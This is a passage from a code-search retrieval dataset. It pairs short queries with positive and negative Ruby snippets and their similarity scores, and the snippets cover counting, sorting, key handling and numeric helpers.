ccount.values.each {|count| total+= count }\n puts \"----\"\n puts total.to_s + \" total data points\"\n return ccount\nend", "def count_compositions(n_max, k_max, i_min = 0, i_max = nil)\n ns = (1..n_max).to_a\n ks = (2..k_max).to_a\n table = ns.map do |n|\n power_of_2?(n) && 2**i_min <= n && (i_max.nil? || n <= 2**i_max) ? [1] : [0]\n end\n ks.each do |k|\n ns.each do |n|\n next if k > n\n i_max_n = i_max || Math.log2(n).floor.to_i\n table[n - 1][k - 1] = (i_min..i_max_n).map do |i|\n n_prev = n - 2**i\n k_prev = k - 1\n k_prev > n_prev ? 0 : table[n_prev - 1][k_prev - 1]\n end.sum\n end\n end\n table\nend", "def counts\n count = Hash.new(0)\n self.each{|ele| count[ele] += 1}\n count\n end", "def pfcount(*keys); end", "def pfcount(*keys); end", "def k_concatenation_max_sum(arr, k)\r\n return arr.sum * k if arr.all?(&:positive?)\r\n return 0 if arr.all?(&:negative?)\r\n total = arr.inject(0) {|sum, x| sum + x} * k\r\n try = total\r\n arr.each do |num|\r\n try -= num\r\n total = try if try > total\r\n end\r\n try = total\r\n arr.reverse.each do |num|\r\n try -= num\r\n total = try if try > total\r\n end\r\n total\r\nend", "def countTriplets(arr, r)\n hsh = Hash.new{}\n hsh.default = 0\n # arr.each_with_index{|x,i| hsh[x] +=1 }\n count = 0\n\n (arr).each_with_index{|x,n|\n i,j,k = x/r**2 , x/r , x\n hsh[x] += 1\n if n > 1\n if j == k\n jn = hsh[j]\n count += ((jn-2)*(jn-1))/2 if jn >=3\n else\n jn,kn = hsh[i], hsh[j]\n count += jn*kn\n end\n end\n }\n count\nend", "def subarray_sum(nums, k)\n subarray_count = 0\n map = {0 => 1}\n sum = 0\n \n nums.each_with_index do |n, idx|\n \n new_sum = sum += n\n # newsum = 1\n \n # if key exists\n if map[new_sum - k]\n \n subarray_count += map[new_sum - k]\n end\n \n map[new_sum].nil? ? map[new_sum] = 1 : map[new_sum] += 1\n \n sum = new_sum\n end\n \n return subarray_count\nend", "def f(n,d) # returns total number of times d shows up in range 0..n including n\n total = 0\n (n+1).times do |k|\n total += k.to_s.count(d.to_s)\n end\n return total\nend", "def compute_element_occurrence(values)\n uniq_elements = Hash.new(0)\n values.map { |x| uniq_elements[x] += 1 }\n uniq_elements\nend", "def count_distinct(input, window)\n counter = 0\n len = 0\n elems = {}\n output = []\n input.each do |elem|\n counter2 = counter + 1\n sum = 1\n elems = {}\n elems[elem] = 1\n win = window - 1\n while counter2 < input.size && win > 0\n unless elems.key?(input[counter2])\n sum += 1\n elems[input[counter2]] = 1\n end\n counter2 += 1\n win -= 1\n end\n if win == 0\n p elems\n p sum\n end\n counter += 1\n end\nend", "def run_length_encode\n self.pack_consecutive_duplicates.inject([]) do |array, current|\n array << [current.size, current[0]]\n array \n end\n end", "def countTripletsOld(arr, r)\n hsh = Hash.new{|h,k| h[k] = []}\n arr.each_with_index{|x,i| hsh[x] << i }\n count = 0\n # if r == 1\n # hsh.keys.each do |x|\n # i = hsh[i].size\n # count += (i*(i-1)*(i-2))/((i-2)*(i-1)) if i >=3\n # end\n # else\n arr.each_with_index{|x,n|\n i,j,k = x,x*r,x*r*r\n if j == k\n jn = hsh[j].size\n count += (jn*(jn-1)*(jn-2)) if jn >=3\n else\n jn,kn = hsh[j].size, hsh[k].size\n count += jn*kn\n end\n hsh[i].shift\n }\n # end\n count\nend", "def increment(prob_hash, key)\n di = key[0,2]\n freq_arr = prob_hash[di]\n if !freq_arr\n prob_hash[di] = [[key[-1,1], 1]]\n else\n target_letter = key[-1,1]\n freq = freq_arr.assoc(target_letter)\n if !freq then freq_arr << [target_letter, 1] else freq[1] += 1 end\n end\nend", "def key_indexed_counting(arr, max)\n count = Array.new(max + 1, 0)\n\n arr.each { |num| count[num + 1] += 1 }\n idx = 0\n while idx < max\n count[idx + 1] += count[idx]\n idx += 1\n end\n\n aux = []\n arr.each do |num|\n aux[count[num]] = num\n count[num] += 1\n end\n\n arr.each_index do |idx|\n arr[idx] = aux[idx]\n end\n\n arr\nend", "def calc_k(n, g)\n H(n, n, g)\n end", "def element_count(arr)\n\n # initialize 0 as needed to count\n count = Hash.new(0)\n arr.each do |c|\n count[c] += 1 \n end\n return count\n\nend", "def succ_vkey_d(_vkey, _d)\n for d in 0..@d-1\n next if d == _d\n if _vkey[d] < @m[d]-1\n _vkey[d] += 1\n return _vkey\n else\n _vkey[d] = 0\n end\n end\n return nil\n end", "def pair_sum(array, k)\nend", "def injectCalc\n a = Array.new\n a = \"1,1,1,1,1,1,1,1,1,2,3,4\".split(\",\").map { |s| s.to_i }\n b = a.inject(Hash.new(0)) {|h,i| h[i] += 1; h }\n b.to_a.each {|error,count| puts \"#{count}: #{error}\" }\n end", "def jumpingOnClouds(c)\n\ti, counter, n = 0, 0, c.length\n\n\twhile i < n-1 do \n\t\tif c[i + 2] == 0 \n\t\t\ti = i + 2 \n\t\telsif c[i + 1] == 0 \n\t\t\ti = i + 1\n\t\tend\n\n\t\tcounter += 1\n\tend\n\n\tcounter\nend", "def calcIt\n a = [\"1\",\"5\",\"2\",\"3\",\"4\"]\n h = Hash.new(0)\n a.each do |v|\n h[v] += 1\n end\n h\n end", "def count_cut\n last = @deck[-1].to_i\n @deck[-1..-1] = [@deck[0...last], @deck[-1]].flatten\n last.times {@deck.shift}\n @deck\n end", "def getCounts (coins, sums, array, hash)\n for a in array\n if coins.include? a\n hash[a] == nil ? hash[a] = 1 : hash[a] += 1\n else\n otherCoins = sums[a][0]\n getCounts(coins, sums, otherCoins, hash)\n end\n end\nend", "def kthIndex(k)\n if(@indexList[k] < 0) then\n return @base.size + 1 + @indexList[k] + k ;\n else\n return @indexList[k] + k ;\n end\n end", "def solution0(a)\n\n total_count = 0\n elem_counts = Hash.new(0)\n\n a.each do |elem|\n elem_counts[elem] += 1\n total_count += 1 if elem_counts[elem] == 2\n end\n\n return total_count\n\nend", "def countPairs(arr, k)\n counter = 0\n new_arr = (arr.uniq).sort\n new_arr.each_with_index do |num, i|\n if new_arr[i + 1]\n if (num - new_arr[i + 1]).abs == k\n counter += 1\n end\n end\n end\n counter\n end", "def build_ncount\n Matrix.build(rows, cols) do |row, col|\n count = 0\n 3.times do |row_off|\n 3.times do |col_off|\n count += matrix[row + row_off, col + col_off]\n end\n end\n count - matrix[row + 1, col + 1]\n end\n end", "def cnts a\n r = []\n found = false\n a.each do |x|\n r.each do |y|\n if y[0] === x\n y[1] += 1\n found = true\n break\n end\n end\n if !found\n r.push([x, 1])\n else\n found = false\n end\n end\n r\nend", "def ig\n\t\tig_ind.reduce(0, :+)/ig_ind.size\n\tend", "def top_k_frequent_b(nums, k)\n nums\n .inject(Hash.new(0)) { |h, n| h[n] += 1; h }\n .sort_by { |_, v| -v }\n .first(k)\n .map(&:first)\nend", "def purchase_quantity\n\n b = Hash.new(0)\n @arr.each do |v|\n b[v] += 1\n end\n b.each do |k, v|\n puts \"#{k} appears #{v} times\"\n end\n b\n\n end", "def count_elements(array)\n new_hash = {}\n count = 0\n array.each do |x|\n if new_hash.key? x\n new_hash[x] = new_hash[x] + 1\n #binding.pry\n else\n new_hash[x] = 1\n end\n end\n new_hash\n # code goes here\nend", "def zadd(key, *args, nx: T.unsafe(nil), xx: T.unsafe(nil), lt: T.unsafe(nil), gt: T.unsafe(nil), ch: T.unsafe(nil), incr: T.unsafe(nil)); end", "def permutations(perms, digits)\n\tcounts = Array.new(digits.size, 0)\n\t\nend", "def d_neighbors_of_k_mer(pattern, k, d)\n # The d-neighborhood of the k-mer Pattern is the collection of all k-mers \n # that are at most Hamming distance d from Pattern.\n # How many 4-mers are in the 3-neighborhood of Pattern = TAGC? \n # Note that the d-neighborhood of Pattern includes Pattern.\n\n genome_alphabet = [\"A\",\"G\",\"C\",\"T\"]\n\n count = 0\n genome_alphabet.repeated_permutation(k).to_a.each do |kmer|\n count += 1 if hamming_distance(kmer.join(\"\"), pattern) <= d\n end\n return count\n end", "def top_k_frequent_elements(list, k)\n return nil if !list\n # intialze an empty hash\n ## iterate throught the list\n #chechk if the key is in the hash,\n # if key is in the hash ++ value\n # otherwise add key and value as 1 since it's first occurance\n # now the key(uniqe) and value(how many time the int_value) happend is in the hash,\n # my_hash.sort_by { |_, value| value }.each { |key, value| puts key } (iterate throught the hash, (hash.each {|key, value|}) )\n # before pushing the key into the initalized array, check to see if the length is less than k\n # if\n hash = Hash.new\n list.each do |int_value|\n if hash.key?(int_value)\n hash[key] = +1\n else\n hash[key] = 1\n end\n end\n kth_frequent_elements = []\n counter = 0 \n pervisou_value = 0\n hash.sort_by { |k, v| -v }.each do |key, value|\n if counter < k\n kth_frequent_elements << key\n if pervisou_value != value\n pervisou_value = value\n counter += 1\n end\n # end\n # if kth_frequent_elements.length < k\n # kth_frequent_elements << key\n else\n break\n end\n end\n return kth_frequent_elements\nend", "def counting_sort(input_arr, exp = 0)\n count_arr = Array.new(10, 0)\n result = Array.new(input_arr.size)\n \n m = 10**(exp+1)\n n = 10**exp \n \n #count occurence of currently significant digit\n #if exp == 0 than 5 is the currently significant digit in 135\n input_arr.each do |item|\n signif_number = (item%m)/n\n count_arr[signif_number] += 1\n end\n\n #modify count_arr to show actual index\n for i in 1...10 \n count_arr[i] = count_arr[i-1] + count_arr[i]\n end\n \n #creat output array\n i = input_arr.size - 1\n until i < 0 do\n item = input_arr[i]\n signif_number = (item%m)/n\n count_arr[signif_number] -= 1\n result[count_arr[signif_number]] = item\n i -= 1\n end\n result\nend", "def count(key)\n @counter[key]\n end", "def nb_dig(n, d)\n #create an array of sqaures from d up to and including n\n numbers = (d..n).to_a\n #issue was here: should've made the range 0..n instead of d..n\n squares = numbers.map do |num|\n num * num\n end\n #for each square...\n count = 0\n binding.pry\n squares.each do |square|\n #count and add to a tally if d is present\n count += square.to_s.count(d.to_s)\n end\n #turn it into a string\n #return the tally\n count\nend", "def sockMerchant(n, ar)\n hash = Hash.new(0)\n pares = Array.new\n ar.each{|key| hash[key] += 1}\n #puts hash\n hash.each do |ky, t|\n if t - 1 > 0\n t % 2 == 0 ? pares << t/2 : pares << (t-1)/2\n end\n end\n pares.length > 0 ? \"Result: #{pares.reduce(:+)}\" : 0\nend", "def solution2\n n = 1000\n\n hsh = Hash.new([])\n\n (1..n).each do |x|\n (1..n).each do |y|\n hsh[x**3 + y**3] += [x, y]\n end\n end\n\n hsh.values\nend", "def count_signs\n # suskaiciuojami visi zenklai\n temp = 0\n @signs.size.times do |i|\n temp += 1 if @signs[i] != 0\n end\n temp\n end", "def dist_windows(arr, k)\n result = []\n (0..arr.size - k).each do |i|\n result << dist_nums_helper(arr[i...i + k], k)\n end\n result\nend", "def counter_effect(hit_count)\n hits = []\n digits = hit_count.split(\"\").map {|num| num.to_i}\n digits.each do |digit|\n \tcurrent_values = []\n \tfor num in 0..digit\n \t\tcurrent_values.push(num)\n \tend\n \thits.push(current_values)\n end\n return hits\nend", "def total_set\n self.inject(0) { |a, bucket| a += bucket.zero? ? 0 : 1; a }\n end", "def lcs(l1, l2)\n k = z = 0\n m = Array.new(l1.length + 1){ Array.new(l2.length + 1) { 0 } }\n\n l1.values.each_with_index do |symb1, i|\n l2.values.each_with_index do |symb2, j|\n if symb1 == symb2\n m[i + 1][j + 1] = m[i][j] + 1\n if m[i + 1][j + 1] > z\n z = m[i + 1][j + 1]\n k = i - z + 1\n end\n end\n end\n end\n\n l1.values.each_with_index.inject(List.new) do |l, (symb, i)|\n if i >= k and i < k + z then l << symb else l end\n end\n end", "def count_num_trees_supp(num_keys)\n return 1 if num_keys <= 1\n sum_total = 0\n (1..num_keys).each do |val|\n sum = 0\n left_count = count_num_trees_supp(val - 1)\n right_count = count_num_trees_supp(num_keys - val)\n sum += left_count * right_count\n sum_total += sum\n end\n sum_total\n end", "def fwd_count; @fwd_map.count; end", "def combine(n, k)\n @result, @k, @n = [], k, n\n dfs 1, []\n @result\nend", "def divisible_sum_pairs(n,k,a)\n count = 0\n i = 0\n\n while (i < n)\n j = i + 1\n\n while (j < n)\n if ((a[i] + a[j]) % k == 0)\n count += 1\n end\n j+=1\n end\n\n i += 1\n end\n count\nend", "def element_count(arr)\n hash = {} \n\n # debugger \n arr.each {|ele| hash[ele] = arr.count(ele) }\n\n hash \nend", "def direct_run_length_encode\n self.inject([[0, nil]]) do |array, current|\n if array[-1][-1] == current or array[-1][-1].nil?\n array[-1][-1] = current\n array[-1][0] += 1 \n else\n array[-1] = array[-1][-1] if array[-1][0] == 1\n array << [1, current]\n end\n array\n end\n end", "def divisibleSumPairs(n, k, ar)\n count = 0\n ar.each_with_index do |outer, i|\n ar.each_with_index do |inner, j|\n if i != j\n count += 1 if ((outer + inner) % k == 0 and i > j)\n end\n end\n end\n count\nend", "def divisibleSumPairs(n, k, ar) \n count = 0\n \n for a in 0..(n-2) do\n for j in (a+1)..(n-1) do\n count += 1 if ((ar[a] + ar[j]) % k == 0)\n end\n end\n count\nend", "def freed_prisoners(arr)\n counter = 0\n return counter if arr[0] == 0\n arr.each do |cell|\n if cell == 1\n counter += 1\n arr.map! do |switch|\n if switch == 1\n switch = 0\n else\n swith = 1\n end\n end\n else\n next\n end\n end\n counter\nend", "def update_counting_hash(hash, key)\n hash[key] ? hash[key] += 1 : hash[key] = 1\n hash\nend", "def pairs(k, arr)\n ha = {}\n pairs = Set.new\n count = 0\n arr.to_set.each do |element|\n ha[element] = 1\n end\n arr.to_set.each do |element|\n sum = (k + element)\n if ha.key? sum\n count += 1\n end\n end\n count\nend", "def walk_through\n count = 0\n for i in 0..@n-1\n for j in 0..@m-1\n if @garden[i][j] == 'W'\n @garden[i][j] = 'C'\n count += 1\n check_around(i,j)\n end\n end\n end\n puts count\n end", "def solution(a)\n counter = Hash.new(0)\n a.each do |elem|\n counter[elem] += 1\n end\n\n (1..a.size).each do |number|\n return 0 if counter[number] != 1\n end\n\n 1\nend", "def count_cut\r\n temp = @deck[0..(@deck[-1] - 1)]\r\n @deck[0..(@deck[-1] - 1)] = []\r\n @deck[-1..-1] = [temp, @deck[-1]].flatten\r\n end", "def aes_popcount(x)\n x -= (x >> 1) & M1\n x = (x & M2) + ((x >> 2) & M2)\n x = (x + (x >> 4)) & M4\n x += x >> 8\n (x + (x >> 16)) & 0x3f\n end" ]
[ "0.60302407", "0.58939534", "0.58923584", "0.57873565", "0.5749837", "0.57431436", "0.57389754", "0.57326794", "0.57213223", "0.5686016", "0.56297314", "0.56034267", "0.5586053", "0.5566902", "0.5560124", "0.54522985", "0.5439403", "0.54251623", "0.54156923", "0.5397596", "0.5387509", "0.5385271", "0.5378113", "0.5356652", "0.5352747", "0.53506726", "0.533854", "0.5325112", "0.53244305", "0.5314101", "0.52988994", "0.52982205", "0.5287886", "0.5268419", "0.52620536", "0.52578634", "0.5256975", "0.5249536", "0.5246735", "0.52403605", "0.5239505", "0.52373487", "0.52373487", "0.523671", "0.52257264", "0.5222647", "0.5222463", "0.5213896", "0.52102137", "0.52029175", "0.5197971", "0.5194549", "0.51917374", "0.5187944", "0.5187861", "0.5187682", "0.51838857", "0.51817244", "0.518116", "0.5174345", "0.5168402", "0.5146807", "0.51432806", "0.51399714", "0.5135946", "0.5133762", "0.5127764", "0.51170325", "0.51121724", "0.50983036", "0.50810003", "0.50781333", "0.50764394", "0.5073057", "0.5067097", "0.50622064", "0.5060949", "0.5055061", "0.5054239", "0.50475436", "0.50470585", "0.50319326", "0.502934", "0.5022964", "0.5019973", "0.50151575", "0.5006582", "0.50033975", "0.5001643", "0.5000365", "0.49996674", "0.49989203", "0.49911848", "0.49898306", "0.4985601", "0.4982093", "0.4981753", "0.49803632", "0.4977863", "0.49768582" ]
0.73087424
0
about keys (patterns) ckey normal successor
def succ_ckey(_ckey) for d in 0..@d-1 if _ckey[d] < @n[d]-1 _ckey[d] += 1 return _ckey else _ckey[d] = 0 end end return nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def keys(pattern = T.unsafe(nil)); end", "def key_matcher(pattern, options); end", "def keygens; end", "def possible_keys(key); end", "def transform_keys(&block); end", "def keys(*) end", "def transform_keys!(&block); end", "def key_coercions; end", "def keys() end", "def handle_key(key); end", "def key_coercions=(_arg0); end", "def _lex_trans_keys; end", "def _lex_trans_keys; end", "def _lex_trans_keys; end", "def _lex_trans_keys; end", "def keypair; end", "def keypair; end", "def keypair; end", "def keypair; end", "def keypair; end", "def key?(*) end", "def key_inputs; end", "def scard(key); end", "def scard(key); end", "def key_defs(actions)\n return actions.map{|(in_key, action)| {'key_code' => in_key}}\nend", "def rkey!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 32 )\n\n\n\n type = RKEY\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 53:7: ']'\n match( 0x5d )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n\n end", "def key=(_arg0); end", "def key=(_arg0); end", "def key=(_arg0); end", "def convert_key(key); end", "def convert_key(key); end", "def convert_key(key); end", "def coerce_key(*attrs); end", "def key_variants; end", "def key=(_); end", "def key=(_); end", "def keys(*_arg0, &_arg1); end", "def rekey_as_needed; end", "def key_types=(_arg0); end", "def extract_key(ctx); end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def keys; end", "def alpha_mapping\n {# 1st line\n Q: '__{ KeyCode::Q, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n W: \"__{ KeyCode::KEY_5, #{shift_opt}, KeyCode::MINUS, #{shift_opt}, #{left} }__\", # []\n E: \"__{ KeyCode::KEY_5, KeyCode::MINUS, #{left} }__\", # ()\n R: \"__{ KeyCode::KEY_5, #{opt}, KeyCode::MINUS, #{opt}, #{left} }__\", # {}\n T: \"__{ KeyCode::BACKQUOTE, KeyCode::BACKQUOTE, #{shift}, #{left} }__\", # <>\n Y: \"__{ KeyCode::KEY_1, #{shift} }__\", # 1\n U: \"__{ KeyCode::CURSOR_LEFT, #{cmd} }__\", # left\n I: '__{ KeyCode::CURSOR_UP }__', # up\n O: \"__{ KeyCode::CURSOR_RIGHT, #{cmd} }__\", # right\n P: nil,\n\n # 2nd line\n A: '__{ KeyCode::A, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n S: '__{ KeyCode::S, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n D: '__{ KeyCode::D, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n F: \"__{ KeyCode::KEY_3, KeyCode::KEY_3, #{left} }__\", # \"\",\n G: \"__{ KeyCode::KEY_4, KeyCode::KEY_4, #{left} }__\", # '',\n H: '__{ KeyCode::RawValue::0x97 }__', # nil, # 0, # ----- # todo: <- NC #'__{ KeyCode::M }__',\n J: '__{ KeyCode::CURSOR_LEFT }__', # LEFT\n K: '__{ KeyCode::CURSOR_DOWN }__', # DOWN\n L: '__{ KeyCode::CURSOR_RIGHT }__', # RIGHT\n QUOTE: '__{ KeyCode::RawValue::0x98 }__', # todo: -> NC\n\n # 3rd line\n Z: '__{ KeyCode::Z, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n X: '__{ KeyCode::X, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n C: '__{ KeyCode::C, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n V: '__{ KeyCode::V, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n B: '__{ KeyCode::B, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n N: '__{ KeyCode::N, ModifierFlag::COMMAND_L, ModifierFlag::OPTION_L, ModifierFlag::CONTROL_L }__', # hammer\n M: \"__{ KeyCode::CURSOR_LEFT, #{opt} }__\", # <- word\n COMMA: '__{ KeyCode::RawValue::0x96 }__', # down something\n DOT: \"__{ KeyCode::CURSOR_RIGHT, #{opt} }__\", # -> word\n # BACKQUOTE: 'BACKSLASH', Z: 'COMMA',\n\n KEY_2: \"__{ KeyCode::L, #{shift_opt}, KeyCode::L, #{shift_opt}, #{left} }__\", # ||\n KEY_3: \"__{ KeyCode::KEY_3, KeyCode::KEY_3, #{left} }__\", # '', # -----\n KEY_4: \"__{ KeyCode::KEY_4, KeyCode::KEY_4, #{left} }__\", # \"\", # -----\n KEY_5: \"__{ KeyCode::BACKSLASH, KeyCode::BACKSLASH, #{left} }__\", # ``,\n KEY_7: nil,\n KEY_8: '__{ KeyCode::RawValue::0x95 }__',\n KEY_9: nil\n }.with_indifferent_access\n end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key; end", "def key?(p0) end", "def hkeys(key); end", "def hkeys(key); end", "def flexible_key; end", "def each_key(&block); end", "def deep_transform_keys(&block); end", "def key_data; end", "def key_data; end", "def _lex_trans_keys=(_arg0); end", "def _lex_trans_keys=(_arg0); end", "def _lex_trans_keys=(_arg0); end", "def _lex_trans_keys=(_arg0); end", "def key(*seqs, &block)\n seqs.each do |seq|\n if keycode = NAMED_KEYS[seq]\n seq = keycode\n end\n\n level = @trie_root\n\n seq.each_char do |c|\n level = (level[c] ||= {})\n end\n\n level[:handler] = block\n end\n end", "def key_types; end", "def key_types; end", "def _process_key keycode, object, window\n return :UNHANDLED if @_key_map.nil?\n chr = nil\n ch = keycode\n if ch > 0 and ch < 256\n chr = ch.chr\n end\n blk = @_key_map[keycode]\n # i am scrappaing this since i am once again complicating too much\n=begin\n # if blk then we found an exact match which supercedes any ranges, arrays and regexes\n unless blk\n @_key_map.each_pair do |k,p|\n $log.debug \"KKK: processing key #{ch} #{chr} \"\n if (k == ch || k == chr)\n $log.debug \"KKK: checking match == #{k}: #{ch} #{chr} \"\n # compare both int key and chr\n $log.debug \"KKK: found match 1 #{ch} #{chr} \"\n #p.call(self, ch)\n #return 0\n blk = p\n break\n elsif k.respond_to? :include?\n $log.debug \"KKK: checking match include #{k}: #{ch} #{chr} \"\n # this bombs if its a String and we check for include of a ch.\n if !k.is_a?( String ) && (k.include?( ch ) || k.include?(chr))\n $log.debug \"KKK: found match include #{ch} #{chr} \"\n #p.call(self, ch)\n #return 0\n blk = p\n break\n end\n elsif k.is_a? Regexp\n if k.match(chr)\n $log.debug \"KKK: found match regex #{ch} #{chr} \"\n #p.call(self, ch)\n #return 0\n blk = p\n break\n end\n end\n end\n end\n=end\n # blk either has a proc or is nil\n # we still need to check for a complex map. if none, then execute simple map.\n ret = check_composite_mapping(ch, window)\n $log.debug \" composite returned (#{ret}) for #{ch} \"\n if !ret\n return execute_mapping(blk, ch, object) if blk\n end\n return execute_mapping(ret, ch, object) if ret\n return :UNHANDLED\n end", "def _key(*args); args.hash; end", "def key=(key); end", "def in_key_context!\n self.each do |tone| \n tone.tone = (tone.tone + key.index) #% 12\n tone.letter_index = (tone.letter_index + key.letter_index) % 7\n end\n true\n end", "def _cache_key(*keys)\n # monkey patch to avoid SystemStackError: stack level too deep \n if keys.to_s.include?(\"i18n_transliterate_rule\")\n keys.to_s\n else\n keys.map(&:to_s).join(\" \").parameterize.underscore \n end \n end", "def exchange_keys; end", "def exchange_keys; end", "def key(*args)\n args.join(\":\")\n end", "def zcard(key); end", "def zcard(key); end", "def keys\n end", "def keys\n end", "def keys\n end", "def classify_key(data, filename); end", "def in_key_context!\n\t\tself.each do |tone| \n\t\t\ttone.tone = (tone.tone + key.index) % 12\n\t\t\ttone.letter_index = (tone.letter_index + key.letter_index) % 7\n\t\tend\n\t\ttrue\n\tend", "def from_keys\n end" ]
[ "0.6783487", "0.6698949", "0.6498288", "0.64583194", "0.64489335", "0.63294196", "0.6300498", "0.62518764", "0.6181938", "0.6149464", "0.6079396", "0.6059791", "0.6059791", "0.6059791", "0.6059791", "0.6047211", "0.6047211", "0.6047211", "0.6047211", "0.6047211", "0.5910849", "0.58856213", "0.586505", "0.586505", "0.5854949", "0.58187205", "0.58036476", "0.58036476", "0.58036476", "0.5791145", "0.5791145", "0.5791145", "0.5790384", "0.5781729", "0.57752", "0.57752", "0.57656926", "0.5751658", "0.5751522", "0.5748624", "0.5692901", "0.5692901", "0.5692901", "0.5692901", "0.5692901", "0.5692901", "0.5692901", "0.5692901", "0.5692901", "0.56864166", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5686244", "0.5678687", "0.5671938", "0.5671938", "0.5652121", "0.5639687", "0.56348926", "0.5621941", "0.5621941", "0.5618837", "0.5618837", "0.5618837", "0.5618837", "0.5590136", "0.5583849", "0.5583849", "0.5575038", "0.5565619", "0.55569774", "0.5553691", "0.5514088", "0.548572", "0.548572", "0.5484571", "0.5461307", "0.5461307", "0.5458273", "0.5458273", "0.5458273", "0.545336", "0.5446087", "0.54449767" ]
0.0
-1
successor with fixed point
def succ_ckey_d(_ckey, _d) for d in 0..@d-1 next if d == _d if _ckey[d] < @n[d]-1 _ckey[d] += 1 return _ckey else _ckey[d] = 0 end end return nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def takfp x, y, z\n return z unless y < x\n takfp( takfp(x-1.0, y, z),\n takfp(y-1.0, z, x),\n takfp(z-1.0, x, y))\nend", "def act_f()\n (y() >= 0) ? 1.0 : -1.0;\n end", "def calc_tip(p, r)\n \n t = p.round(-1)/10\n \n case \n when r == 0\n t -= 1\n when r == 1\n t += 1\n when r == -1\n t = (t/2).floor - 1\n end\n \n final_res = t > 0 ? t : 0\n return final_res\nend", "def reset_step(x, st, &f)\n y1 = f.call(x)\n y2 = f.call(x + st)\n\n if (y1 - y2).abs / mul > 1.0\n [st / (y1 - y2).abs / mul, 0.001].max\n else\n st / mul * 2\n end\n end", "def utilityF(delta)\n\treturn 1.0 if delta <= 0\n\treturn 2.0 ** (-delta / 30.0)\nend", "def fixed_point(array)\n @start_index = 0\n @end_index = array.length - 1\n @result = -1\n while @start_index <= @end_index\n @mid_index = @start_index + (@end_index - @start_index) / 2\n if @mid_index == array[@mid_index]\n @result = @mid_index\n @end_index = @mid_index - 1\n elsif @mid_index < array[@mid_index]\n @end_index = @mid_index - 1\n else\n @start_index = @mid_index + 1\n end\n end\n @result\nend", "def update(point)\n\t\t\n\tend", "def update(point)\n\t\t\n\tend", "def positive; end", "def positive; end", "def fortress_goal_point\n trial_fortress_cells.each do |cell|\n return Point.new(cell.x, cell.y) if cell.goal_flg\n end\n end", "def set_psi x\n if x>200\n x=200\n elsif x<0\n x=0\n end\n @@psi = x\n end", "def contract_inside(center, point, gamma=0.5)\n p = center + ( point - center ) * gamma\n p.result = func(p)\n p\n end", "def fifteen?\n @points == 1\n end", "def make_first_play?(points)\n points > 350\n end", "def mirror_update pt\n pt.x = pt.x * (-1)\nend", "def f(x)\n 0.4 * x + 1\nend", "def succ() end", "def succ() end", "def succ() end", "def raiseTemp( step ) \n if step < 0.0 then lowerTemp( -1.0 * step )\n else\n @value += step\n end \n self\n end", "def succ!() end", "def anticipated_fixed_payment(present_value, rate, term)\n\t\t((present_value.to_f) / ((1 - (1 - rate.to_f ) ** term ) / rate.to_f )).round(4)\n end", "def update(point)\n\t\t\t\t\n\t\t\tend", "def points\n 1\n end", "def net_present_value\n lambda do |x|\n relative_payments.reduce(0) do |sum, relative_payment|\n sum + relative_payment.amount * (1 + x)**-relative_payment.offset\n end\n end\n end", "def reflect(center, point, alpha=1.0)\n #center.map.with_index{|e,i| e + alpha * ( e - point[i] )} # version for simple arrays\n p = center + ( center - point ) * alpha\n p.result = func(p)\n p\n end", "def succ(result); end", "def future_given_present(present_value, interest, term)\n (present_value.to_f * (1 + interest.to_f) ** term).round(4)\n end", "def t(x)\n case true\n when start_point.nil?\n nil\n when end_point.nil?\n nil\n when !self.contains?(x)\n nil\n when x == start_point.x\n 0.0\n when x == end_point.x\n 1.0\n else # must lie within region, not start or end\n interval = end_point.x - start_point.x\n interval_fraction = x - start_point.x\n interval_fraction / interval\n end\n end", "def nextping(prev)\n [prev+1, (prev+exprand()).round].max\nend", "def success_threshold; end", "def position=(point); end", "def vulnerable_undertrick_points\n if !made?\n p = -100 * modifier\n if result < -1\n return p += (result + 1) * 300 if doubled?\n return p += (result + 1) * 600 if redoubled?\n return p += (result + 1) * 100\n end\n p\n else\n 0\n end\n end", "def rate_pos_safe\n unless @move_pos_value\n move_pos_evaluate\n end\n return @move_pos_value\n end", "def make_one_pole_swept\n y1 = 0.0\n lambda do |input, coef|\n y1 = (coef + 1) * input - coef * y1\n end\n end", "def set_points!\n self.points = 0 unless self.points.presence\n end", "def value(x, y)\r\n return 1 if x == 1 || y == 1\r\n value(x - 1, y) + value(x, y - 1)\r\nend", "def pendiente(x0,y0,xf,yf)\n\t\tif yf == y0 && xf == x0\n\t\t\tm = yo/x0\n\t\telsif xf == x0 && xf < 0\n\t\t\tm = -100000\n\t\telsif xf == x0 && xf >= 0\n\t\t\tm = 1000000\n\t\telse\n\t\t\tm = 